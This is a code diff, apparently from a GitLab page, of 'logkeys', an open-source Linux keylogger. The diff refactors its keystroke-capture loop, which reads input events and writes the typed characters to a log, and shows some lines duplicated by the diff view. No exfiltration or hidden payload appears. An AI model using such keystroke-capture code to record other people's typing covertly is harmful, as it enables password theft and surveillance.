setegid(65534); seteuid(65534); setegid(65534); seteuid(65534);
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>) unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
...@@ -465,13 +484,14 @@ int main(int argc, char **argv) ...@@ -465,13 +484,14 @@ int main(int argc, char **argv)
fprintf(stdout, "Logging started ...\n%s", timestamp); fprintf(stdout, "Logging started ...\n%s", timestamp);
fflush(stdout); fflush(stdout);
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
// these event.value-s aren't defined in <linux/input.h> ? // these event.value-s aren't defined in <linux/input.h> ?
#define EV_MAKE 1 // when key pressed #define EV_MAKE 1 // when key pressed
#define EV_BREAK 0 // when key released #define EV_BREAK 0 // when key released
#define EV_REPEAT 2 // when key switches to repeating after short delay #define EV_REPEAT 2 // when key switches to repeating after short delay
while (read(input_fd, &event, sizeof(struct input_event)) > 0) { // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY
scan_code = event.code; scan_code = event.code;
...@@ -518,24 +538,33 @@ int main(int argc, char **argv) ...@@ -518,24 +538,33 @@ int main(int argc, char **argv)
if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL)
ctrl_in_effect = true; ctrl_in_effect = true;
// print character or string coresponding to received keycode // print character or string coresponding to received keycode; only print chars when not \0
if (is_char_key(scan_code)) { if (is_char_key(scan_code)) {
wchar_t wch;
if (altgr_in_effect) { if (altgr_in_effect) {
wchar_t wch = altgr_keys[to_char_keys_index(scan_code)]; wch = altgr_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
else if (shift_in_effect) {
wch = shift_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
else {
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
}
else if (shift_in_effect) {
wch = shift_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
else {
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch); if (wch != L'\0') fprintf(stdout, "%lc", wch);
else if (shift_in_effect)
fprintf(stdout, "%lc", shift_keys[to_char_keys_index(scan_code)]);
else
fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]);
} }
else if (shift_in_effect)
fprintf(stdout, "%lc", shift_keys[to_char_keys_index(scan_code)]);
else
fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]);
} }
else if (is_func_key(scan_code)) { else if (is_func_key(scan_code)) {
if (!args.nofunc) { // only log function keys if --no-func-keys not requested if (!args.nofunc) { // only log function keys if --no-func-keys not requested
fprintf(stdout, "%s", func_keys[to_func_keys_index(scan_code)]); fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]);
} }
else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
// but always log a single space for Space and Tab keys // but always log a single space for Space and Tab keys
...@@ -543,7 +572,7 @@ int main(int argc, char **argv) ...@@ -543,7 +572,7 @@ int main(int argc, char **argv)
} }
} }
else fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error else fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
} } // if (EV_MAKE)
// on key release // on key release
if (event.value == EV_BREAK) { if (event.value == EV_BREAK) {
...@@ -565,10 +594,14 @@ int main(int argc, char **argv) ...@@ -565,10 +594,14 @@ int main(int argc, char **argv)
fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp); fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp);
fclose(stdout); fclose(stdout);
close(input_fd);
close(temp_fd);
remove(PID_FILE); remove(PID_FILE);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} // main()
} // namespace logkeys
int main(int argc, char** argv) {
logkeys::main(argc, argv);
} }
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment